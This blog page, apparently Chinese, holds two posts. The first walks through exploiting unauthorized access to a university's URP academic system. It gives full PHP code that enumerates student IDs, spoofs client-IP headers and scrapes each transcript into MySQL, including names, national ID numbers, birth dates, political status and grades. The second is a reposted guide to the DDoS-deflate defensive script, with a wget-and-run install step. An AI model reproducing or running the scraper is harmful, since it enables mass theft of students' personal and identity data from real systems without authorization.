【原】通过URP综合教务系统的未授权访问来获学生成绩单数据——版本V1.0

前述:

刚到一个新学校,看到群里说要去222.132.XX.XXX:80833(此处应该是写通知的老师错误,反正我是没找到80833端口),通过尔雅选选修课,出于习惯,检查了下这个IP,发现8080端口还跑着URP综合教务系统。。

前期探索:

去wooyun.org查了下相关内容,发现好多关于URP的洞,如图:

查询到cj_zwcjd.jsp这个文件,便利用了一下,正好练习一下PHP脚本。

查询流程:

用户访问cj_zwcjd.jsp页面->输入学号->点击查询->存在一个302跳转->获取反馈结果页面

程序环境:

  1. PHP 5.5.9 (附加:swoole 以及 Simple HTML DOM)
  2. MySQL 5.5.44 (主要为了记录接下来获取的信息)

部分相关介绍:

  1. swoole用起来感觉还不错,从之前的代码中直接copy使用了,附上一个相关的参考链接:http://rango.swoole.com/archives/265
  2. 为了解析接下来获取到的HTML代码,使用了Simple HTML DOM这个插件,同样附上一个参考链接:http://www.phpddt.com/manual/simplehtmldom_1_5/manual.htm

实现功能:

软件根据预设形成一个学号,并通过此学号查询此人的成绩单,查到会自动将返回的html解析,最后插入MySQL数据库中,可以获取的信息有:姓名、性别、照片(由于我这个学校的URP里没照片,没做进一步提取)、籍贯、身份证号、班级、专业、政治面貌、民族、系、学院、课程及相应成绩

软件目录结构:

url_tree

注:./class/plug/simplehtmldom_1_5 这个目录下是Simple HTML DOM扩展哈

PHP文件代码

  • ./config/config.inc.php (一些配置信息)
<?php
/**
 * Created by PhpStorm.
 * User: henry
 * Date: 15-10-18
 * Time: 下午8:58
 */

define('REQUEST_URL','222.132.XX.XXX');
define('REQUEST_PORT','8080');
//访问间隔,秒
define('REQUEST_SPEED',5);

 

  • ./class/htmlFilter.class.php (HTML解析相关)
<?php

/**
 * Created by PhpStorm.
 * User: henry
 * Date: 15-10-19
 * Time: 下午4:57
 */
class htmlFilter extends sMySQL
{
    private $htmlObj;       //html对象
    /*
     * 构造函数
     */
    public function __construct($html){
        $this->htmlObj = new simple_html_dom();
        $this->htmlObj->load($html);        //从html字符加载
        //$this->htmlObj->load_file($html);       //从文件加载

        $this->sqlLive = parent::__construct();
    }

    /*
     * 获取照片功能
     * 由于没有测试环境,暂时取消
     */
    private function getPhoto(){
        $photoArr = $this->htmlObj->find('img');
        foreach ($photoArr as $a ){
            echo $a->outertext;
        }
    }

    /*
     * 记录信息(SQL)
     */
    private function recordStudentInfoSQL($studentBasicInfoArr,$courseInfoJSON){
        //生成SQL
        $sql = "INSERT INTO `studentInfo`(`id_card`,`real_name`,`student_id`,`sex`,`nation`,`native_place`,`political_status`,
                `birthday`,`class_name`,`entrance_time`,`graduation_date`,`major`,`major_direction`,`department`,`cultivation_plan`,`courseInfo`) VALUES(
                '{$studentBasicInfoArr['idCard']}','{$studentBasicInfoArr['realName']}','{$studentBasicInfoArr['studentID']}','{$studentBasicInfoArr['sex']}',
                '{$studentBasicInfoArr['nation']}','{$studentBasicInfoArr['nativePlace']}','{$studentBasicInfoArr['politicalStatus']}','{$studentBasicInfoArr['birthday']}',
                '{$studentBasicInfoArr['className']}','{$studentBasicInfoArr['entranceTime']}','{$studentBasicInfoArr['graduationDate']}','{$studentBasicInfoArr['major']}',
                '{$studentBasicInfoArr['majorDirection']}','{$studentBasicInfoArr['department']}','{$studentBasicInfoArr['cultivationPlan']}','$courseInfoJSON')";


        $this->sqlLive->send($sql);
        $res = unserialize($this->sqlLive->recv());

        if ($res){
            return true;
        } else {
            return false;
        }
    }

    /*
     * 解析HTML获取学生所有信息
     *
     */
    private function getAndRecordStudentInfo(){
        $trInfoArr = $this->htmlObj->find('td[class="report1_2_1"]');

        $studentBasicInfoArr = array(
            'realName'          =>      iconv('GBK', 'UTF-8',$trInfoArr[1]->innertext),       //姓名
            'studentID'         =>      iconv('GBK', 'UTF-8',$trInfoArr[3]->innertext),       //学号
            'sex'               =>      iconv('GBK', 'UTF-8',$trInfoArr[4]->innertext),       //性别
            'idCard'            =>      iconv('GBK', 'UTF-8',$trInfoArr[6]->innertext),       //身份证号码
            'nation'            =>      iconv('GBK', 'UTF-8',$trInfoArr[9]->innertext),       //民族
            'nativePlace'       =>      iconv('GBK', 'UTF-8',$trInfoArr[11]->innertext),      //籍贯
            'politicalStatus'   =>      iconv('GBK', 'UTF-8',$trInfoArr[13]->innertext),      //政治面貌
            'birthday'          =>      iconv('GBK', 'UTF-8',$trInfoArr[15]->innertext),      //出生日期
            'className'         =>      iconv('GBK', 'UTF-8',$trInfoArr[17]->innertext),      //班级
            'entranceTime'      =>      iconv('GBK', 'UTF-8',$trInfoArr[19]->innertext),      //入学时间
            'graduationDate'    =>      iconv('GBK', 'UTF-8',$trInfoArr[21]->innertext),      //毕业日期
            'major'             =>      iconv('GBK', 'UTF-8',$trInfoArr[23]->innertext),      //专业
            'majorDirection'    =>      iconv('GBK', 'UTF-8',$trInfoArr[25]->innertext),      //专业方向
            'department'        =>      iconv('GBK', 'UTF-8',$trInfoArr[27]->innertext),      //系所
            'cultivationPlan'   =>      iconv('GBK', 'UTF-8',$trInfoArr[29]->innertext)       //培养方案
        );

        for ($i=40;$i<count($trInfoArr)-9;$i+=5){
            $courseInfoArr[] = array(
                'courseName'        =>      iconv('GBK', 'UTF-8',$trInfoArr[$i]->innertext),      //课程名称
                'score'             =>      iconv('GBK', 'UTF-8',$trInfoArr[$i+1]->innertext),    //课程分数
                'studyMode'         =>      iconv('GBK', 'UTF-8',$trInfoArr[$i+2]->innertext),    //修读方式
                'courseType'        =>      iconv('GBK', 'UTF-8',$trInfoArr[$i+3]->innertext),    //课程属性
                'examDate'          =>      iconv('GBK', 'UTF-8',$trInfoArr[$i+4]->innertext)     //考试时间
            );
        }
        //json编码
        //echo strlen(json_encode($courseInfoArr,JSON_UNESCAPED_UNICODE));

        if ($this->recordStudentInfoSQL($studentBasicInfoArr,json_encode($courseInfoArr,JSON_UNESCAPED_UNICODE)) == true){
            return true;
        } else {
            return false;
        }
    }

    /*
     * 解析结果返回页面的html
     */
    public function htmlAnalysis(){
        //获取照片功能
        //$this->getPhoto();

        //获取并记录学生所有信息
        if ($this->getAndRecordStudentInfo() == true){
            return true;
        } else {
            return false;
        }
    }

    /*
     * 析构函数
     */
    public function __destruct(){
        $this->htmlObj->clear();
    }
}
  • ./class/request.class.php (主要为了做POST与GET请求)
<?php

/**
 * Created by PhpStorm.
 * User: henry
 * Date: 15-10-18
 * Time: 下午9:02
 */
class request
{
    static private $header;             //http头部
    private $url;                       //URL

    private function setURL($url){
        $this->url = $url;
    }
    public function getURL(){
        return $this->url;
    }

    /*
     * 构造函数
     */
    public function __construct($url,$sourceIP = ''){
        //如果未设置源IP
        if (empty($sourceIP)){
            $sourceIP = $this->createIP();
        }
        //设置头部信息
        self::$header = array(
            'CLIENT-IP:'.$sourceIP,
            'X-FORWARDED-FOR:8.8.8.8'
        );
        //设置url
        $this->setURL($url);
    }

    /*
     * 可选设置header
     */
    public function setHeader($headerArr){
        //Header为数组
        if (!is_array($headerArr)){
            echo '如果需要设置$header请传入一个数组';
            exit;
        }
        //设置header
        self::$header = $headerArr;
    }

    /*
     * 创建一个IP地址
     */
    private function createIP(){

        $ip_1_arr = array('214','123','54','53','222','215','10','16');
        $ip_2 = round(rand(600000,2550000)/10000);
        $ip_3 = round(rand(600000,2550000)/10000);
        $ip_4 = round(rand(600000,2550000)/10000);

        $randArr = mt_rand(0,count($ip_1_arr)-1);
        $ip_1 = $ip_1_arr[$randArr];

        return $ip_1.'.'.$ip_2.'.'.$ip_3.'.'.$ip_4;
    }
    /*
     * 通过curl发送POST请求
     */
    public function httpPostParams($postDataArr){
        if (!is_array($postDataArr)){
            echo 'post提交的数据请以数组的形式传入';
            exit;
        }
        $postData = '';
        foreach($postDataArr as $key => $val){
            $postData .= $key .'=' .$val.'&';
        }
        $curl = curl_init();
        curl_setopt($curl,CURLOPT_HEADER,self::$header);
        curl_setopt($curl,CURLOPT_URL,$this->url);
        curl_setopt ($curl,CURLOPT_POSTFIELDS, $postData);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0');

        $result = curl_exec($curl);
        $httpCode = curl_getinfo($curl,CURLINFO_HTTP_CODE);

        curl_close($curl);

        switch ($httpCode){
            case '302':{
                return $result;
            }
            break;
            default:{
                return false;
            }
        }
    }
    /*
     * 通过curl进行GET请求
     */
    public function httpGetParams($url = ''){

        $curl = curl_init($url);
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
        curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0');

        $result = curl_exec($curl);
        $httpCode = curl_getinfo($curl,CURLINFO_HTTP_CODE);

        curl_close($curl);

        //echo $url;

        switch ($httpCode){
            case '200':{
                return $result;
            }
            break;
            default:{
                return false;
            }
        }

    }

}

 

  • ./class/stringFilter.php (字符串过滤,主要为了获取a标签中的href值)
<?php

/**
 * Created by PhpStorm.
 * User: henry
 * Date: 15-10-19
 * Time: 下午4:40
 */
class stringFilter
{
    /*
     * 构造函数
     */
    public function __construct(){

    }

    /*
     * 获取302跳转后的a标签的href
     */
    public function getTagA_Href($html){
        return str_replace('="','',strstr(strstr($html,'="',false),'">',true));
            //strstr(strstr($html,'="',false),'">',true);
            //strstr($html,'<a ',false);
    }
    /*
     * 通过HTML获取结果页面的PDF下载链接
     */
    public function getStudentInfoPdfDownload($html){
        
    }

}

 

  • ./class/studentID.class.php (这个想了想,还需要改很多,就先临时简单处理了一下)
<?php

/**
 * Created by PhpStorm.
 * User: henry
 * Date: 15-10-20
 * Time: 下午8:45
 */
class studentID
{
    private static $grade;          //年级

    /*
     * 构造函数
     * 形参:年级
     */
    public function __construct($grade){
        self::$grade = $grade;
    }

    /*
     * 创建学号信息
     */
    public function createStudentID($departmentNum = 1000,$studentNum = 1000){
        return self::$grade.$departmentNum.$studentNum;
    }

}

 

  • ./do_cli.php (CLI模式下执行主程序)
<?php
/**
 * Created by PhpStorm.
 * User: henry
 * Date: 15-10-18
 * Time: 下午8:58
 */
require_once 'config/config.inc.php';
require_once 'class/request.class.php';
require_once 'class/sMySQL.class.php';
require_once 'class/htmlFilter.class.php';
require_once 'class/stringFilter.class.php';
require_once 'class/plug/simplehtmldom_1_5/simple_html_dom.php';
require_once 'class/studentID.class.php';

//设置URL
$url = REQUEST_URL.':'.REQUEST_PORT.'/setReportParams';

$req = new request($url);
$stuID = new studentID(2012);
$getA_Href = new stringFilter();

//学院编号循环
for ($d=1270;$d<8000;$d++){
    //学生编号循环
    for ($s=1001;$s<8000;$s++){

        //创建POST值
        $postData = array(
            'LS_XH'     =>      $stuID->createStudentID($d,$s),
            'resultPage'=>      'http%3A%2F%2F222.132.XX.XXX%3A8080%2FreportFiles%2Fcj%2Fcj_zwcjd.jsp'
        );
        //POST请求新的请求
        $result = $req->httpPostParams($postData);
        //如果返回302
        if ($result != false){
            //获取A标签的href值,再根据A标签重新设定url,进行GET请求
            $html = $req->httpGetParams($getA_Href->getTagA_Href($result));
            //如果成功获取html数据
            if ($html != false){
                $record = new htmlFilter($html);
                //记录数据
                if ($record->htmlAnalysis() == true){
                    echo 'success!';
                } else {
                    echo 'record fail!';
                }
                $record->__destruct();
            } else {
                echo 'get html page fail!';
            }
        }
        sleep(REQUEST_SPEED);
    }
}

 

执行:

Linux下,进入do_cli.php的目录下,直接执行:#php do_cli.php

注意问题:

  1. 由于用到swoole扩展,需要通过命令#php -m检查是否包含此模块。
  2. 记得先启用swoole监听程序,然后否则会记录失败。
  3. 要注意通过curl请求的时候,加入一个userAgent,否则系统返回500错误 – –

执行结果截图:

result_urp

注:本来想直接获取PDF/Text/Excel文件得了,后来想了想,不如存在数据库里面方便,就把成绩单的课程相关内容,转成了JSON格式存储在数据库中。

 

后续:

这第一个版本,还有很多地方没处理,如:多线程、学号相关、错误输出不人性等等,仅供学习与记录吧。

 

【转】linux下防DDOS工具

DDoS deflate是一款免费的用来防御和减轻DDoS攻击的脚本。它通过netstat监测跟踪创建大量网络连接的IP地址,在检测到某个结点超过预设的限 制时,该程序会通过APF或IPTABLES禁止或阻挡这些IP。.

DDoS deflate官方网站:http://deflate.medialayer.com/

如何确认是否受到DDOS攻击?

执行:

netstat -ntu | awk ‘{print $5}’ | cut -d: -f1 | sort | uniq -c | sort -n

执行后,将会显示服务器上所有的每个IP多少个连接数。每个IP几个、十几个或几十个连接数都还算比较正常,如果像上面成百上千肯定就不正常了

1、安装DDoS deflate

wget http://www.inetbase.com/scripts/ddos/install.sh //下载DDoS deflate

chmod 0700 install.sh //添加权限

./install.sh //执行

2、配置DDoS deflate

下面是DDoS deflate的默认配置位于/usr/local/ddos/ddos.conf ,内容如下:

##### Paths of the script and other files

PROGDIR=”/usr/local/ddos”

PROG=”/usr/local/ddos/ddos.sh”

IGNORE_IP_LIST=”/usr/local/ddos/ignore.ip.list” //IP地址白名单

CRON=”/etc/cron.d/ddos.cron” //定时执行程序

APF=”/etc/apf/apf”

IPT=”/sbin/iptables”

##### frequency in minutes for running the script

##### Caution: Every time this setting is changed, run the script with –cron

##### option so that the new frequency takes effect

FREQ=1 //检查时间间隔,默认1分钟

##### How many connections define a bad IP? Indicate that below.

NO_OF_CONNECTIONS=150 //最大连接数,超过这个数IP就会被屏蔽,一般默认即可

##### APF_BAN=1 (Make sure your APF version is atleast 0.96)

##### APF_BAN=0 (Uses iptables for banning ips instead of APF)

APF_BAN=1 //使用APF还是iptables。推荐使用iptables,将APF_BAN的值改为0即可。

##### KILL=0 (Bad IPs are’nt banned, good for interactive execution of script)

##### KILL=1 (Recommended setting)

KILL=1 //是否屏蔽IP,默认即可

##### An email is sent to the following address when an IP is banned.

##### Blank would suppress sending of mails

EMAIL_TO=”root” //当IP被屏蔽时给指定邮箱发送邮件,推荐使用,换成自己的邮箱即可

##### Number of seconds the banned ip should remain in blacklist.

BAN_PERIOD=600 //禁用IP时间,默认600秒,可根据情况调整

如果/usr/local/ddos/ddos.sh 统计不正确,可能是启用ipv6的缘故

# vi /usr/local/ddos/ddos.sh

117行的内容是这样的netstat -ntu | awk ‘{print $5}’ | cut -d: -f1 | sort | uniq -c | sort -nr > $BAD_IP_LIST

如果服务器启用了IPv6的话,可能会导致统计的结果不准确,修改这一行可以修正这个问题。

需要修改成这样

netstat -ntu|awk ‘{print $5}’|cut -d : -f1|sed -n ‘/[0-9]/p’|sort|uniq -c|sort -nr& > $BAD_IP_LIST

或者

netstat -ntu | grep ‘:’ | awk ‘{print $5}’ | sed ‘s/::ffff://’ | cut -d: -f1 | sort | uniq -c | sort -nr > $BAD_IP_LIST

转自:http://netsecurity.51cto.com/art/201406/441851.htm